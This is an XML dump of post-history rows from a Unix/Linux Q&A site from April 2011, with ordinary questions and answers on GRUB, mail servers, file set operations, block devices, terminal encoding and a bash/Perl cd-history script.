  <row Id="27488" PostHistoryTypeId="2" PostId="11338" RevisionGUID="fbdccdf5-e470-4e00-b824-3bca99ce655f" CreationDate="2011-04-14T19:30:23.330" UserId="1290" Text="No you can't&#xD;&#xA;&#xD;&#xA;When Grub boots a kernel, it eventually hands over control to it, it doesn't stay in a dormant state or something.&#xD;&#xA;&#xD;&#xA;Think of Grub as a tiny OS. When you boot a kernel, or chainload into a device, GRUB is gone. The only similar thing to achieve, would be using something like EFI, but that actually starts when an OS turns over control to whatever else. On VAXstations, it was possible to halt the system and break into a prompt called chevron (&quot;`&gt;&gt;&gt; `&quot;). You could make basic hardware checks, etc in there, but also format harddrives. Afterwards, the OS could be freed from its frozen state again, and was running from the previously halted point as if nothing had happened. " />
  <row Id="27489" PostHistoryTypeId="2" PostId="11339" RevisionGUID="63e35958-1018-488a-8c9a-4db8ae57aabd" CreationDate="2011-04-14T19:45:25.570" UserId="6381" Text="I just got a new OpenBSD 4.8 instance up and running with Xfce. The only issue I'm having is that the mouse wheel only ever scrolls down. When I physically scroll up, X scrolls down. When I do scroll up X seems to page down, as it scrolls much more area than when I scroll down." />
  <row Id="27490" PostHistoryTypeId="1" PostId="11339" RevisionGUID="63e35958-1018-488a-8c9a-4db8ae57aabd" CreationDate="2011-04-14T19:45:25.570" UserId="6381" Text="OpenBSD X, mouse only scrolls down" />
  <row Id="27491" PostHistoryTypeId="3" PostId="11339" RevisionGUID="63e35958-1018-488a-8c9a-4db8ae57aabd" CreationDate="2011-04-14T19:45:25.570" UserId="6381" Text="éxorgàéx11àéopenbsdà" />
  <row Id="27492" PostHistoryTypeId="2" PostId="11340" RevisionGUID="3ea31bff-729d-4b27-9f53-12562e4a5deb" CreationDate="2011-04-14T20:37:08.527" UserId="885" Text="I see four gradations in website scraping.&#xD;&#xA;&#xD;&#xA;1. Simple downloading of a few pages, possibly following some links. Some good tools: a shell script calling [wget](http://www.gnu.org/software/wget/) or [curl](http://curl.haxx.se/).&#xD;&#xA;2. Downloading and serious parsing of some pages. Maybe sending custom headers and posting a form, but no really complex interactions. Some good tools: Perl with [`LWP` (libwww)](http://search.cpan.org/dist/libwww-perl/) and [`HTML::TreeBuilder` (HTML-Tree)](http://search.cpan.org/dist/HTML-Tree/); Python with standard libraries (especially [`httplib`](http://docs.python.org/library/httplib.html) and [`htmllib`](http://docs.python.org/library/htmllib.html)).&#xD;&#xA;3. Serious interactions with a web site: scrape a page, extract some data, make a new request out of that data, repeat. Some good tools: Perl with [`WWW::Mechanize`](http://search.cpan.org/dist/WWW-Mechanize); Python with [mechanize](http://wwwsearch.sourceforge.net/mechanize/).&#xD;&#xA;4. Anything that requires running Javascript code. Some good tools: [Selenium](http://en.wikipedia.org/wiki/Selenium_%28software%29).&#xD;&#xA;" />
  <row Id="27493" PostHistoryTypeId="6" PostId="11296" RevisionGUID="2377b1df-b94a-4f0c-aad9-7fcfde4ab61f" CreationDate="2011-04-14T20:37:31.317" UserId="885" Comment="edited tags" Text="éwebàécurlàéseleniumà" />
  <row Id="27494" PostHistoryTypeId="5" PostId="11337" RevisionGUID="ca2465f5-efa8-4868-a417-5d483926fafc" CreationDate="2011-04-14T20:56:32.683" UserId="885" Comment="formatting (@jimkont: indent code blocks with 4 spaces)" Text="I changed the input files to tsv and used the following solution (inspired from 1st answer)&#xD;&#xA;&#xD;&#xA;    echo &quot;&quot; &gt; wrong_variables.tmp  &#xD;&#xA;    while read line  &#xD;&#xA;    do  &#xD;&#xA;        var_template=`echo $line | cut -f2`  &#xD;&#xA;        var_parameter=`echo $line | cut -f3`  &#xD;&#xA;           &#xD;&#xA;        #TODO order by template and cache grep output  &#xD;&#xA;        grep &quot;${var_template}&quot; templ2.tmp  | cut -f2 &gt; tmpfile  &#xD;&#xA;        var_suggest=`tre-agrep -B &quot;$var_parameter&quot; tmpfile | tr &quot;\n&quot; &quot;$&quot;`  &#xD;&#xA;    &#xD;&#xA;        echo $line \\t $var_suggest &gt;&gt; wrong_variables.tmp&#xD;&#xA;    done &lt; $OUTPUT_RAW&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27495" PostHistoryTypeId="2" PostId="11341" RevisionGUID="55860c22-8b54-4740-bc6f-b471d702a948" CreationDate="2011-04-14T20:58:33.430" UserId="6103" Text="I want to setup a debian box to handle all my email for my domain, I can point my mx record to the box but... what software do I need on there.. Ive seen Postfix and Courie.. are these okay for what i need &#xD;&#xA;&#xD;&#xA;I only have one address at the moment but will need something scalable to maybe handle a couple more domains and upto 20 users.  &#xD;&#xA;&#xD;&#xA;Ive been doing some research and I can only find tuts on ISP style mailservers capable of handling thousands of domains, Im not asking for details but a push in the right direction would be nice.&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27496" PostHistoryTypeId="1" PostId="11341" RevisionGUID="55860c22-8b54-4740-bc6f-b471d702a948" CreationDate="2011-04-14T20:58:33.430" UserId="6103" Text="Debian Lenny, Which mailserver to setup?" />
  <row Id="27497" PostHistoryTypeId="3" PostId="11341" RevisionGUID="55860c22-8b54-4740-bc6f-b471d702a948" CreationDate="2011-04-14T20:58:33.430" UserId="6103" Text="édebianàémailà" />
  <row Id="27498" PostHistoryTypeId="6" PostId="11341" RevisionGUID="ce81d8fe-fe7f-4dbd-b9c1-abe2d84b841d" CreationDate="2011-04-14T21:05:33.700" UserId="885" Comment="edited tags" Text="édebianàésoftwareörecàémailötransportöagentà" />
  <row Id="27499" PostHistoryTypeId="25" PostId="11339" RevisionGUID="7ffd4d82-3520-4725-a3d0-9b4e5be68054" CreationDate="2011-04-14T21:09:09.017" Comment="http://twitter.com/#!/StackUnix/status/58637941005762561" />
  <row Id="27500" PostHistoryTypeId="2" PostId="11342" RevisionGUID="81f7f2f3-1ff3-4b96-bd94-28f21743c2ce" CreationDate="2011-04-14T21:10:21.557" UserId="885" Text="You need an [MTA](http://en.wikipedia.org/wiki/Mail_Transport_Agent). Debian defaults to exim. Postfix is another popular choice, and installing it on Debian is just a matter of `apt-get install postfix`; you'll find more tutorials for it than for exim. Either is perfectly suitable for your needs — a couple of domains and 20 users is very small fry. Unless you have some other very specialized requirement, make your choice based on ease of setup or just plain it's-there-already.&#xD;&#xA;" />
  <row Id="27501" PostHistoryTypeId="2" PostId="11343" RevisionGUID="0910fdaf-f58a-4f81-877b-b7c26eff336c" CreationDate="2011-04-14T21:19:47.463" UserId="6596" Text="Does anyone know of any linux tool specifically designed to treat files as sets and perform set operations on them? Like difference, intersection, etc?" />
  <row Id="27502" PostHistoryTypeId="1" PostId="11343" RevisionGUID="0910fdaf-f58a-4f81-877b-b7c26eff336c" CreationDate="2011-04-14T21:19:47.463" UserId="6596" Text="Linux tools to treat files as sets and perform set operations on them" />
  <row Id="27503" PostHistoryTypeId="3" PostId="11343" RevisionGUID="0910fdaf-f58a-4f81-877b-b7c26eff336c" CreationDate="2011-04-14T21:19:47.463" UserId="6596" Text="élinuxàébashàécommandölineà" />
  <row Id="27504" PostHistoryTypeId="2" PostId="11344" RevisionGUID="dedd8918-743a-44d5-a4c4-8961c72fe520" CreationDate="2011-04-14T21:24:26.880" UserId="5325" Text="Sort of.  You need to deal with sorting yourself, but `comm` can be used to do that, treating each line as a set member:  `-12` for difference, `-13` for intersection.  (And `-23` gives you flipped difference, that is, `set2 - set1` instead of `set1 - set2`.)  Union is `sort -u` in this setup." />
  <row Id="27505" PostHistoryTypeId="5" PostId="11312" RevisionGUID="5ed6f782-2fa7-4997-a6f6-bbc0dcbf71ab" CreationDate="2011-04-14T21:34:13.130" UserId="1078" Comment="deleted 47 characters in body" Text="The `df(1)` command will tell you the device that a file or directory is on:&#xD;&#xA;&#xD;&#xA;    df /work&#xD;&#xA;&#xD;&#xA;The first field has the device that the file or directory is on.&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    $ df /root&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/sda1              1043289    194300    795977  20% /&#xD;&#xA;&#xD;&#xA;If the device is a logical volume, you will need to determine which block device(s) the logical volume is on. For this, you can use the `lvs(8)` command:&#xD;&#xA;&#xD;&#xA;    # df /usr&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/mapper/orthanc-usr&#xD;&#xA;                           8256952   4578000   3259524  59% /usr&#xD;&#xA;    # lvs -o +devices /dev/mapper/orthanc-usr&#xD;&#xA;      LV   VG      Attr   LSize Origin Snap%  Move Log Copy%  Convert Devices     &#xD;&#xA;      usr  orthanc -wi-ao 8.00g                                       /dev/sda3(0)&#xD;&#xA;&#xD;&#xA;The last column tells you that the logical volume `usr` in the volume group `orthanc` (`/dev/mapper/orthanc-usr`) is on the device `/dev/sda3`. Since a volume group can span multiple physical volumes, you may find that you have multiple devices listed.&#xD;&#xA;&#xD;&#xA;Another type of logical block device is a md (Multiple Devices, and used to be called meta-disk I think) device, such as `/dev/md2`. To look at the components of a md device, you can use `mdadm --detail` or look in `/proc/mdstat`&#xD;&#xA;&#xD;&#xA;    # df /srv&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    /dev/md2             956626436 199340344 757286092  21% /srv&#xD;&#xA;    # mdadm --detail /dev/md2&#xD;&#xA;    ...details elided...&#xD;&#xA;        Number   Major   Minor   RaidDevice State&#xD;&#xA;           0       8        3        0      active sync   /dev/sda3&#xD;&#xA;           1       8       19        1      active sync   /dev/sdb3&#xD;&#xA;&#xD;&#xA;You can see that `/dev/md2` is on the `/dev/sda3` and `/dev/sdb3` devices.&#xD;&#xA;&#xD;&#xA;There are other methods that block devices can be nested (fuse, loopback filesystems) that will have their own methods for determining the underlying block device, and you can even nest multiple layers so you have to work your way down. You'll have to take each case as it comes.&#xD;&#xA;" />
  <row Id="27506" PostHistoryTypeId="2" PostId="11345" RevisionGUID="32107435-edd5-4fbf-bb32-f2277a3c5705" CreationDate="2011-04-14T21:52:37.077" UserId="6167" Text="Sendmail, Postfix, Courier, and Exim can all do it, but they do, by default, assume a single domain that the computer represents.  I would not recommend Sendmail to a newbie, but Postfix and Exim should be do-able.  Their default configuration will give all unix accounts on your server an email based on the account username.  20 users is no problem at all.  Note that most of these are MTAs only which means they will accept and store mail locally for domains they control, but do not provide a way for users to retrieve the mail off of the server.  Unless you plan to have all users log on to the server to retrieve their mail, you will also need a POP3 or IMAP server.  Dovecot is what I recommend for that.  It works in conjunction with an MTA like Postfix.  Users send mail to others through the MTA and retrieve mail through POP3 or IMAP.  The main difference between POP3 and IMAP is with IMAP, mail is still kept on the server in addition to locally on a users email program, and IMAP also stores other folders on the server as well.  This allows a user to switch mail programs and still have all their mail and folders with IMAP.  It also facilitates for a sysadmin to backup all the email for a domain on the server.  With POP3, mail is retrieved from an Inbox and deleted off of the server." />
  <row Id="27507" PostHistoryTypeId="2" PostId="11346" RevisionGUID="0797b92c-cb37-4258-8221-cfb0a59e370e" CreationDate="2011-04-14T21:55:39.317" UserId="5614" Text="I'm looking to install Linux Mint on my main work computer. Presently, I'm running Ubuntu 10.04 on it after upgrading from 9.10 (both 64bit). Previously, I have always backed up and formatted my hard disks, installing from scratch, as the distribution upgrades typically screw things up and slow things down. &#xD;&#xA;&#xD;&#xA;The problem is that usually, doing this kind of upgrade takes a long time, about a whole man-day, from backing up to installing the new system to installing and configuring all of my software, etc. I don't really have this kind of time laying around to spend 8-12 hours every four months to upgrade things. &#xD;&#xA;&#xD;&#xA;I'm pretty much ready to convert over to Linux Mint, my main decision is between the  Ubuntu based version or the Debian one. My main question is if I can install Ubuntu packages and packages from Launchpad on LMDE (Linux Mint Debian Edition). I want a rolling version, I like living on the bleeding edge. Is it possible to essentially use Debian like Ubuntu, except keep it rolling? " />
  <row Id="27508" PostHistoryTypeId="1" PostId="11346" RevisionGUID="0797b92c-cb37-4258-8221-cfb0a59e370e" CreationDate="2011-04-14T21:55:39.317" UserId="5614" Text="Can I use and install Ubuntu packages in Debian?" />
  <row Id="27509" PostHistoryTypeId="3" PostId="11346" RevisionGUID="0797b92c-cb37-4258-8221-cfb0a59e370e" CreationDate="2011-04-14T21:55:39.317" UserId="5614" Text="éubuntuàédebianàélinuxömintà" />
  <row Id="27510" PostHistoryTypeId="2" PostId="11347" RevisionGUID="e2f3470e-5bf9-472d-92fa-c8118db9aedf" CreationDate="2011-04-14T22:00:06.617" UserId="6167" Text="When using LVM or dm-crypt, I'd recommend a non-LVM non-dm-crypt boot partition.  Just create a disk with a snall 100meg normal boot partition.  Then allocate the rest of the disk to the encrypted LVM VG.  I've also done this kind of set-up when using RAID.  I create the first partition as RAID1 across all disks.  Grub has no trouble booting since in RAID1 all disks are identical and look like a normal non-RAID disk (minus a small RAID superblock at the end of the partition) and the rest of the disk might be RAID5 with LVM and/or dm-crypt on top." />
  <row Id="27511" PostHistoryTypeId="2" PostId="11348" RevisionGUID="5c60c57f-4703-4303-b96a-3d1aa56cf273" CreationDate="2011-04-14T22:14:09.807" UserId="6529" Text="Hi&#xD;&#xA;&#xD;&#xA;I'm using Putty to ssh into a RedHat box, and I'm running GNU emacs inside the putty ssh window.&#xD;&#xA;&#xD;&#xA;When I turn on whitespace-mode using M-x whitespace mode, I notice I see a &quot;Â&quot; before each space or tab character:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Â·Â·Â·Â·thisÂ·isÂ·someÂ·spaces$&#xD;&#xA;Â»       thisÂ·isÂ·aÂ·tab$&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;has anyone seen this before? I suspect its because of my terminal settings." />
  <row Id="27512" PostHistoryTypeId="1" PostId="11348" RevisionGUID="5c60c57f-4703-4303-b96a-3d1aa56cf273" CreationDate="2011-04-14T22:14:09.807" UserId="6529" Text="why does my emacs whitespace mode add &quot;Â&quot; to my buffer?" />
  <row Id="27513" PostHistoryTypeId="3" PostId="11348" RevisionGUID="5c60c57f-4703-4303-b96a-3d1aa56cf273" CreationDate="2011-04-14T22:14:09.807" UserId="6529" Text="éemacsà" />
  <row Id="27514" PostHistoryTypeId="2" PostId="11349" RevisionGUID="a81013de-d922-4cac-8228-69ddb7712d19" CreationDate="2011-04-14T22:31:03.377" UserId="2932" Text="Personally, I've found that [**Citadel**][1] was the easiest to set up. Some of these MTA are pretty troublesome to configure for someone who may be new to it. Citadel also comes with far more functionality than just an MTA - webmail, mailing lists, jabber, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.citadel.org/doku.php/start" />
  <row Id="27515" PostHistoryTypeId="2" PostId="11350" RevisionGUID="d4ecf380-ac1e-4067-80f7-32b352a242c0" CreationDate="2011-04-14T23:03:00.267" UserId="885" Text="`Â·` in latin1 is the byte sequence `c2 b7`. That same byte sequence interpreted in UTF-8 is the character `·`. So what's happening is that Emacs believes your terminal displays UTF-8 (Unicode) but your terminal actually displays latin1.&#xD;&#xA;&#xD;&#xA;PuTTY supports UTF-8, so the easiest solution is to tell it to use UTF-8, at least when connecting to this host. As an added benefit, you'll be able to use characters outside latin1.&#xD;&#xA;" />
  <row Id="27516" PostHistoryTypeId="6" PostId="11348" RevisionGUID="06fd1ae7-bf4d-4ba1-b3a1-1f6137c9b6ba" CreationDate="2011-04-14T23:03:21.437" UserId="885" Comment="edited tags" Text="éterminalàéemacsàécharacteröencodingà" />
  <row Id="27517" PostHistoryTypeId="6" PostId="11289" RevisionGUID="d8d46aad-a36d-49ef-97c2-397c820d1432" CreationDate="2011-04-14T23:09:38.137" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàéfedoraàégrubàéencryptionà" />
  <row Id="27518" PostHistoryTypeId="2" PostId="11351" RevisionGUID="9b8af735-ff6e-4063-beb7-69396bf0425a" CreationDate="2011-04-14T23:16:45.493" UserId="885" Text="Debian and Ubuntu are pretty good at upgrades, as long as you don't do anything to make them fail like tweak things in `/usr`. If you install a lot of third-party packages, they might have dependencies that complicate upgrades, so it can help to remove them before upgrading (if you “remove” and don't “purge”, your customizations in `/etc` will remain in place) and reinstall them afterwards.&#xD;&#xA;&#xD;&#xA;Debian and Ubuntu use the same package format, and they often use the same package names, so it's sometimes possible to use a package intended for one system on the other. But don't count on it always working, as the dependencies aren't always in sync. You'll have a little better luck trying to recompile the packages from source. Better, if you use a lot of PPAs, use Ubuntu.&#xD;&#xA;&#xD;&#xA;Debian's rolling release is called [testing](http://www.debian.org/releases/testing/), or [unstable](http://www.debian.org/releases/unstable/) if you don't mind broken dependencies.&#xD;&#xA;" />
  <row Id="27519" PostHistoryTypeId="2" PostId="11352" RevisionGUID="6736fa3b-1520-42cc-baee-17ec60924cf7" CreationDate="2011-04-14T23:23:01.990" UserId="885" Text="If you see a file as a set of lines, and the files are sorted, there's [`comm`](http://unix.stackexchange.com/questions/11343/linux-tools-to-treat-files-as-sets-and-perform-set-operations-on-them/11344#11344).&#xD;&#xA;&#xD;&#xA;If you see a file as a (multi)set of lines, and the lines aren't sorted, `grep` can do difference and intersection (it achieves set difference and intersection, but doesn't respect count for multisets). Union is just `cat`.&#xD;&#xA;&#xD;&#xA;    grep -xF -f small large &gt;intersection&#xD;&#xA;    grep -vxF -f small large &gt;difference&#xD;&#xA;    cat small large &gt;union&#xD;&#xA;" />
  <row Id="27520" PostHistoryTypeId="6" PostId="11343" RevisionGUID="d589b8c6-a607-46b1-ac49-b7f6aee72201" CreationDate="2011-04-14T23:23:18.183" UserId="885" Comment="edited tags" Text="écommandölineàétextöprocessingàéutilitiesà" />
  <row Id="27521" PostHistoryTypeId="2" PostId="11353" RevisionGUID="d5e9678f-2306-4d29-a2a6-372d637a8ef7" CreationDate="2011-04-14T23:30:57.923" UserId="5993" Text="I would suggest dmidecode -s&#xD;&#xA;but here is the link what you are REALLY hunting for. [For ALL your information needs...][1]&#xD;&#xA;Leave a comment if its not a ball park what you are looking for so we can narrow down what it is you actually looking for.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.secguru.com/article/finding_hardware_details_your_linux_machine_without_using_screw_driver" />
  <row Id="27522" PostHistoryTypeId="5" PostId="11320" RevisionGUID="a7ff7a48-1203-458b-ab87-a91443898bca" CreationDate="2011-04-14T23:33:54.690" UserId="138" Comment="added Ctrl-S/stty bits" Text="The Bash history mechanism doesn't store timestamps, which you'd need to build the facility you're asking for.&#xD;&#xA;&#xD;&#xA;You could alias `cd` to some shell function you write and put in your `~/.bash_profile` which does maintain timestamps, and then use that to build up this service. It's a small matter of programming to read a list of timestamp/directory pairs, collect the N most-seen directories in the last M hours, and present a pick list. I lack the time right now to do that for you. If you were thinking of getting into programming, this is an excellent first project, however. The Bash function part is trivial, and the rest could be done in any language you wanted to learn.&#xD;&#xA;&#xD;&#xA;As a right-now substitute, however, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.&#xD;&#xA;&#xD;&#xA;**EDIT**: To search forward through your command history after having stepped backwards through it, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If that doesn't work on your system, it is likely due to a conflict with &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_flow_control&quot;&gt;software flow control&lt;/a&gt;. You can fix it with this command:&#xD;&#xA;&#xD;&#xA;    $ stty stop undef&#xD;&#xA;&#xD;&#xA;That prevents Ctrl-S from being interpreted as the XOFF character.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; to get the terminal un-stuck. :)" />
  <row Id="27527" PostHistoryTypeId="25" PostId="11343" RevisionGUID="d4f95204-485d-4a92-bcaf-f8d74685777d" CreationDate="2011-04-15T00:09:09.593" Comment="http://twitter.com/#!/StackUnix/status/58683240982118400" />
  <row Id="27528" PostHistoryTypeId="2" PostId="11354" RevisionGUID="c4dad181-7135-4502-96d8-760404e1b981" CreationDate="2011-04-15T00:56:48.973" UserId="3082" Text="I don't know of a specific tool but you can use Python, and its set class and operators, to write a little script to do that.&#xD;&#xA;&#xD;&#xA;For exampe:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Python&gt; s1 = set(os.listdir(&quot;/bin&quot;))&#xD;&#xA;    Python&gt; s2 = set(os.listdir(&quot;/usr/bin&quot;))&#xD;&#xA;    Python&gt; s1 &amp; s2&#xD;&#xA;&#xD;&#xA;&gt; set(['awk',&#xD;&#xA;&gt;      'basename',&#xD;&#xA;&gt;      'chroot', ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27529" PostHistoryTypeId="2" PostId="11355" RevisionGUID="40193351-c48e-4cb8-9dcc-35dbb6dc51e4" CreationDate="2011-04-14T19:59:42.780" UserDisplayName="Remaxas" Text="Hello,&#xD;&#xA;&#xD;&#xA;When I'am connecting to ssh with **gnome-terminal** application opens gnome-keyring dialog, so I am entering password only once per session and I can reconnect to same ssh more than once without asking the password.&#xD;&#xA;&#xD;&#xA;But this doesn't work in xterm. Maybe someone can help to make this work?" />
  <row Id="27530" PostHistoryTypeId="1" PostId="11355" RevisionGUID="40193351-c48e-4cb8-9dcc-35dbb6dc51e4" CreationDate="2011-04-14T19:59:42.780" UserDisplayName="Remaxas" Text="It's possible to make XTERM and Gnome-keyring work together?" />
  <row Id="27531" PostHistoryTypeId="3" PostId="11355" RevisionGUID="40193351-c48e-4cb8-9dcc-35dbb6dc51e4" CreationDate="2011-04-14T19:59:42.780" UserDisplayName="Remaxas" Text="éubuntuàéxtermàégnomeöterminalà" />
  <row Id="27532" PostHistoryTypeId="17" PostId="11355" RevisionGUID="b466bc6c-b5d4-4b51-9d48-f54f70f45ec3" CreationDate="2011-04-15T02:16:54.067" UserId="-1" Comment="from http://stackoverflow.com/questions/5668960/its-possible-to-make-xterm-and-gnome-keyring-work-together" Text="" />
  <row Id="27533" PostHistoryTypeId="5" PostId="11320" RevisionGUID="fc039262-1dc4-422c-b567-77764f34c88a" CreationDate="2011-04-15T03:02:57.273" UserId="138" Comment="minor tweaks" Text="Add the following to your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    #### cd history mechanism ##############################################&#xD;&#xA;&#xD;&#xA;    export CDHISTFILE=~/.cdhistory&#xD;&#xA;    if [ -e $CDHISTFILE ]&#xD;&#xA;    then&#xD;&#xA;        cdht=`mktemp`&#xD;&#xA;        tail -500 $CDHISTFILE &gt; $cdht&#xD;&#xA;        mv $cdht $CDHISTFILE&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    function keep_cd_history() {&#xD;&#xA;        if [ -z &quot;$1&quot; ] ; then d=$HOME ; else d=$1 ; fi&#xD;&#xA;        echo -e `date +%s`&quot;\t&quot;`readlink -f &quot;$d&quot;` &gt;&gt; $CDHISTFILE&#xD;&#xA;        'cd' $d&#xD;&#xA;    }&#xD;&#xA;    function pick_cwd_from_history() {&#xD;&#xA;        f=~/.cdhistgo&#xD;&#xA;        cdhistpick $f&#xD;&#xA;        if [ -r $f ] ; then cd `head -1 $f` ; fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    alias cd=keep_cd_history&#xD;&#xA;    alias cdh=pick_cwd_from_history&#xD;&#xA;    &#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;The first section truncates the cd history mechanism's custom history file if it's gotten bigger than 500 lines since the last time we looked at it. We can't use Bash's built-in history because it doesn't include timestamps, which you need in order to get the &quot;in the last 3 hours&quot; behavior.&#xD;&#xA;&#xD;&#xA;The two Bash functions do things we cannot do in the Perl code below, which otherwise does all the heavy lifting.&#xD;&#xA;&#xD;&#xA;The aliases are just convenience wrappers for the functions.&#xD;&#xA;&#xD;&#xA;All of that is pretty trivial, and for the most part its behavior should be obvious to anyone who understands even basic shell programming. The only tricky bit is the `readline` call, which canonicalizes the paths you use. We have to do that so that `cd $HOME ; cd ; cd ~ ; cd ../$USER` results in 4 instances of the same path in the `cd` history, not four different entries.&#xD;&#xA;&#xD;&#xA;Now the really tricky bit:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    use strict;&#xD;&#xA;    use List::Util qw(min);&#xD;&#xA;    &#xD;&#xA;    #### Configurables #####################################################&#xD;&#xA;    &#xD;&#xA;    # Number of seconds back in time to look for candidate directories&#xD;&#xA;    my $history_seconds_threshold = 3 * 60 * 60;&#xD;&#xA;    &#xD;&#xA;    # Ignore directories we have gone to less than this many times&#xD;&#xA;    my $access_count_threshold = 1;&#xD;&#xA;    &#xD;&#xA;    # Number of directory options to give in pick list&#xD;&#xA;    my $max_choices = 7;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### DO NOT OPEN. NO USER-SERVICEABLE PARTS INSIDE. ####################&#xD;&#xA;    &#xD;&#xA;    # Get file name our caller wants the cd choice to be sent to&#xD;&#xA;    die &quot;usage: $0 &lt;choice_file&gt;\n&quot; unless $#ARGV == 0;&#xD;&#xA;    my $cdhg_file = $ARGV[0];&#xD;&#xA;    unlink $cdhg_file;      # don't care if it fails&#xD;&#xA;    &#xD;&#xA;    # Build summary stats from history file to find recent most-accessed&#xD;&#xA;    my $oldest_interesting = time - $history_seconds_threshold;&#xD;&#xA;    my %stats;&#xD;&#xA;    open my $cdh, '&lt;', &quot;$ENV{HOME}/.cdhistory&quot; or die &quot;No cd history yet!\n&quot;;&#xD;&#xA;    while (&lt;$cdh&gt;) {&#xD;&#xA;        chomp;&#xD;&#xA;        my ($secs, $dir) = split /\t/;&#xD;&#xA;        next unless $secs and $secs &gt;= $oldest_interesting;&#xD;&#xA;        ++$stats{$dir};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Assemble directory pick list&#xD;&#xA;    my @counts = sort values %stats;&#xD;&#xA;    $access_count_threshold = $counts[$max_choices - 1] - 1&#xD;&#xA;            if @counts &gt; $max_choices;&#xD;&#xA;    my @dirs = grep { $stats{$_} &gt; $access_count_threshold } keys %stats;&#xD;&#xA;    $max_choices = min($max_choices, scalar @dirs);&#xD;&#xA;    &#xD;&#xA;    # Show pick list, and save response to the file pick_cwd_from_history()&#xD;&#xA;    # expects.  Why a file?  The shell must call chdir(2), not us, because&#xD;&#xA;    # if we do, we change only our CWD.  Can't use stdio; already in use.&#xD;&#xA;    my $choice;&#xD;&#xA;    if ($max_choices &gt; 1) {&#xD;&#xA;        for (my $i = 0; $i &lt; $max_choices; ++$i) {&#xD;&#xA;            print $i + 1, '. ', $dirs[$i], &quot;\n&quot;;&#xD;&#xA;        }&#xD;&#xA;        print &quot;\nYour choice, sir? [1-$max_choices]: &quot;;&#xD;&#xA;        $choice = &lt;STDIN&gt;;&#xD;&#xA;        chomp $choice;&#xD;&#xA;        exit 0 unless $choice =~ /^[0-9]+$/ &amp;&amp; $choice &lt;= $max_choices;&#xD;&#xA;    }&#xD;&#xA;    elsif ($max_choices == 1) {&#xD;&#xA;        print &quot;Would you like to go $dirs[0]? [y/n]: &quot;;&#xD;&#xA;        $choice = 1 if uc(&lt;STDIN&gt;) =~ /^Y/;&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;        die &quot;Not enough cd history to give choices!\n&quot;;&#xD;&#xA;    }&#xD;&#xA;    if ($choice) {&#xD;&#xA;        open my $cdhg, '&gt;', $cdhg_file or&#xD;&#xA;                die &quot;Can't write to $cdhg_file: $!\n&quot;;&#xD;&#xA;        print $cdhg $dirs[$choice - 1], &quot;\n&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Save this to a file called `cdhistpick`, make it executable, and put it somewhere in your `PATH`. You won't execute it directly. Use the `cdh` alias for that, as it passes in a necessary argument via `pick_cwd_from_history()`.&#xD;&#xA;&#xD;&#xA;How does it work? Ummmm, exercise for the reader? :)&#xD;&#xA;&#xD;&#xA;To get your first requirement, the hotkey, you can use any macro recording program you like for your OS of choice. Just have it type `cdh` and press &lt;kbd&gt;Enter&lt;/kbd&gt; for you. Or, you can run `cdh` yourself, since it's easy to type.&#xD;&#xA;&#xD;&#xA;If you want a simpler but less functional alternative that will work everywhere, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.&#xD;&#xA;&#xD;&#xA;To search forward through your command history after having stepped backwards through it, press 